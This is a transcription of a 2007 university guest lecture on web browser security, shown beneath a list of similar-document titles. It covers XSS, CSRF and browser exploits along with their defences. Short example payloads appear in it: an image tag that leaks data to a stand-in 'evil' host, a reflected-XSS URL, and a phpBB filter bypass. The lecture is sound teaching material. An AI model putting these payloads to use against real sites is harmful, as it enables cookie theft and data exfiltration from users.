Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

Similar documents
CIS 4360 Secure Computer Systems XSS

WEB SECURITY: XSS & CSRF

Application Layer Attacks. Application Layer Attacks. Application Layer. Application Layer. Internet Protocols. Application Layer.

Information Security CS 526 Topic 8

Web Application Security. Philippe Bogaerts

Hacking Intranet Websites from the Outside

Information Security CS 526 Topic 11

Web basics: HTTP cookies

Chrome Extension Security Architecture

Application vulnerabilities and defences

Computer Security CS 426 Lecture 41

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

CSCE 813 Internet Security Case Study II: XSS

Web basics: HTTP cookies

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

CSC 482/582: Computer Security. Cross-Site Security

P2_L12 Web Security Page 1

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang


Cross-Site Request Forgery: The Sleeping Giant. Jeremiah Grossman Founder and CTO, WhiteHat Security

Robust Defenses for Cross-Site Request Forgery

Provide you with a quick introduction to web application security Increase you awareness and knowledge of security in general Show you that any

CSCD 303 Essential Computer Security Fall 2017

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

Client Side Injection on Web Applications

XSS Homework. 1 Overview. 2 Lab Environment

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

Web Security IV: Cross-Site Attacks

CSCD 303 Essential Computer Security Fall 2018

Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007

CSC 405 Computer Security. Web Security

Cross-Site Scripting (XSS) Professor Larry Heimann Web Application Security Information Systems

Advanced Web Technology 10) XSS, CSRF and SQL Injection

Network Security - ISA 656 Web Security

Top 10 AJAX security holes & driving factors

Content Security Policy

Ben Livshits and Úlfar Erlingsson. Microsoft Research

The security of Mozilla Firefox s Extensions. Kristjan Krips

7.2.4 on Media content; on XSS) sws2 1

Web Application Security

RKN 2015 Application Layer Short Summary

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

Web Security: Vulnerabilities & Attacks

Vulnerability Analysis, Secure Development and Risk Management of Web 2.0 Applications OWASP. The OWASP Foundation

2/16/18. Secure Coding. CYSE 411/AIT 681 Secure Software Engineering. Web Security Outline. The Web. The Web, Basically.

Presented By Rick Deacon DEFCON 15 August 3-5, 2007

Computer Security 3e. Dieter Gollmann. Chapter 18: 1

INF3700 Informasjonsteknologi og samfunn. Application Security. Audun Jøsang University of Oslo Spring 2015

Web Security II. Slides from M. Hicks, University of Maryland

Web Security, Summer Term 2012

Web Security, Summer Term 2012

NET 311 INFORMATION SECURITY

Robust Defenses for Cross-Site Request Forgery Review

CS 142 Winter Session Management. Dan Boneh

INTERNET SAFETY IS IMPORTANT

Information Security. Gabriel Lawrence Director, IT Security UCSD

Some Facts Web 2.0/Ajax Security

Security and Privacy. SWE 432, Fall 2016 Design and Implementation of Software for the Web

Web Security: Vulnerabilities & Attacks

Web Security. Thierry Sans

Code-Injection Attacks in Browsers Supporting Policies. Elias Athanasopoulos, Vasilis Pappas, and Evangelos P. Markatos FORTH-ICS

Web insecurity Security strategies General security Listing of server-side risks Language specific security. Web Security.

Web Security Computer Security Peter Reiher December 9, 2014

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

Cross-domain leakiness Divulging sensitive information & attacking SSL sessions Chris Evans - Google Billy Rios - Microsoft

Browser code isolation

CS 161 Computer Security

Project 2: Web Security

CS 161 Computer Security

CS526: Information security

Assignment 6: Web Security

Finding Vulnerabilities in Web Applications

CSE 484 / CSE M 584: Computer Security and Privacy. Web Security. Autumn Tadayoshi (Yoshi) Kohno

More attacks on clients: Click-jacking/UI redressing, CSRF

OpenID Security Analysis and Evaluation

Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14

Ben Livshits and Úlfar Erlingsson. Microsoft Research

COMP9321 Web Application Engineering

OWASP AppSec Research The OWASP Foundation New Insights into Clickjacking

Quick Heal Total Security for Mac. Simple, fast and seamless protection for Mac.

Web Security: XSS; Sessions

Domino Web Server Security

Quick Heal Total Security Multi-Device (Mac) Simple, fast and seamless protection for Mac.

NoScript, CSP and ABE: When The Browser Is Not Your Enemy

Project 3 Web Security Part 1. Outline

Web Security Part 2. Professor Ristenpart h9p:// rist at cs dot wisc dot edu

Web Security. advanced topics on SOP. Yan Huang. Credits: slides adapted from Stanford and Cornell Tech

Security for the Web. Thanks to Dave Levin for some slides

THREAT MODELING IN SOCIAL NETWORKS. Molulaqhooa Maoyi Rotondwa Ratshidaho Sanele Macanda

Copyright

XSSFor the win! What can be really done with Cross-Site Scripting.

Attacking Web2.0. Daiki Fukumori Secure Sky Technology Inc.

Security for the Web. Thanks to Dave Levin for some slides

Quick Heal Total Security for Mac. Simple, fast and seamless protection for Mac.

Web 2.0 Attacks Explained

Match the attack to its description:

Ruby on Rails Secure Coding Recommendations

OWASP Top 10 The Ten Most Critical Web Application Security Risks

Transcription:

Is Browsing Safe? Web Browser Security Charlie Reis Guest Lecture - CSE 490K - 5/24/2007 Send Spam Search Results Change Address? Install Malware Web Mail Movie Rentals 2 Browser Security Model Pages are isolated from each other, sometimes Same origin policy: Page can only communicate with pages and servers from the same origin Applies to cookies, cross-page scripts, AJAX requests A B A Subverting the Browser Attackers are exploiting browser weaknesses 1. Cross-site scripting (XSS) 2. Cross-site request forgery (CSRF) 3. Browser vulnerabilities 3 4 XSS / Script Injection 1. XSS / Script Injection Placing script code on someone else s site Gives attacker control over content Difficult to prevent in general Widespread threat MySpace, Yahoo Mail exploited Most reported vulnerability Script 5 6

e.g., MySpace / Samy Viewing Samy s user profile ran script code: Added Samy as one of your heroes Copied the code to your profile Spread to 1 million pages in 24 hours e.g., Yahoo Mail / Yamanner Email with embedded script code Accessed your address book Sent addresses to a server Forwarded itself to your contacts 7 8 What damage can XSS do? Invade Privacy XSS can leak data to attacker, despite same origin policy Web Server Attacker Invade privacy of visitors Violate integrity of page Deny availability to a server e.g., Encode data in URL of a requested image Steal cookies to log in as user Leak any information on page (passwords, credit cards, etc.) <img src= http://evil/index.php?[data] > 9 10 Violate Integrity Deny Availability Scripts can change any content on a page Falsify info Make page appear faulty Ask user for more personal information Script Distributed Denial of Service Turn browsers into bots Attacker can choose any machine as target Large impact for compromising popular sites or advertisers Victim 11 12

Types of Script Injection 1. Stored XSS 1. Stored XSS 2. Reflected XSS 3. DOM-Based XSS 4. Third party scripts 5. Bookmarklets DB Hide script in server s database Any visitor to page will run the injected code Many sites display user input Blogs, wikis, discussion boards, social networks Try to filter out script code, but not always successful 13 14 2. Reflected XSS 3. DOM-Based XSS Some sites parse input from URL Attackers can construct links that cause scripts to run Must trick users into following these links (e.g., phishing emails) http://nytimes/auth/login?uri=">><script>... </script> Like Reflected XSS, except that URL parsing is done on client, not server Attack code never appears in HTML sent over the network (only in URL) <script> var pos = document.url.indexof( name= )+5; var name = document.url.substring(pos, document.url.length); </script> 15 16 4. Third party scripts 5. Bookmarklets Web Server Advertiser Script files from any origin can be embedded in a page (not part of same-origin policy) Bookmarklet: a bookmarked JavaScript URL Ad servers Mashups (e.g., Google Maps) Web sites must delegate trust Malicious or compromised third party can launch attack javascript:alert( hello world ); Runs in context of user s current page Useful for stripping ads, web development Could be used for phishing or spying on browsing habits 17 18

How to prevent XSS? Input Validation Option 1: block JavaScript Could disable scripts in browser (but too many sites rely on them today) Could whitelist known pages with NoScript (but they might be vulnerable to XSS) Server must filter all scripts from user input Must find all script tags, event handlers, script URLs, scripts in stylesheets, etc. Must handle encoded input (%3C...) Can t just block < and > in many cases 19 20 Bug in phpbb s filter Discussion board allowed some HTML tags (e.g., <b>, <i>) Didn t filter all scripts <b c= > onmouseover=... x= <b >text</b> Filter <b c= > <b > </b> Browser <b c= onmouseover= x= > </b> Convenience vs Security Most browsers are tolerant of syntax errors Malformed input can get past a filter and then run in the browser Samy worm on MySpace: java script:eval(...) 21 22 Research Proposals Find bugs on server side [Xie, Huang] Static or dynamic analysis, fault injection Limit damage on client [Vogt, Ismail] Taint analysis (prevent information leaks) Connection blocking Script whitelists [Jim] Only run scripts with valid hashes 2. Cross-Site Request Forgery (CSRF) 23 24

CSRF Attacks Preventing CSRF Trusted Untrusted Browser includes cookies on all requests to a site Attacker can make requests with user s credentials Post messages, transfer money, delete data Netflix vuln: change account settings Embed a fresh nonce in each form Check for the nonce on every user request Forged requests will have the cookie but not the nonce <form> <input type=hidden name=nonce value=23562> <input...>... </form> Browser 25 Gmail vuln: steal contact list 26 Browser Vulnerabilities 3. Browser Vulnerabilities Browser Operating System Pages can exploit vulns. to run arbitrary code ( drive-by downloads ) Discovered frequently (e.g., Windows.ANI bug) Patches aren t always installed quickly (e.g., testing in enterprises) 27 28 Research Proposals Run web browser in virtual machine [Tahoma, SpyProxy] Can roll back after any damage Filter exploits of known vulnerabilities [BrowserShield] Tricky: must insert runtime checks into all JavaScript code Summary Same-origin policy isn t always sufficient XSS, CSRF, Browser Vulnerabilities Web developers must be vigilant Changes to browsers could help (part of my research) 29 30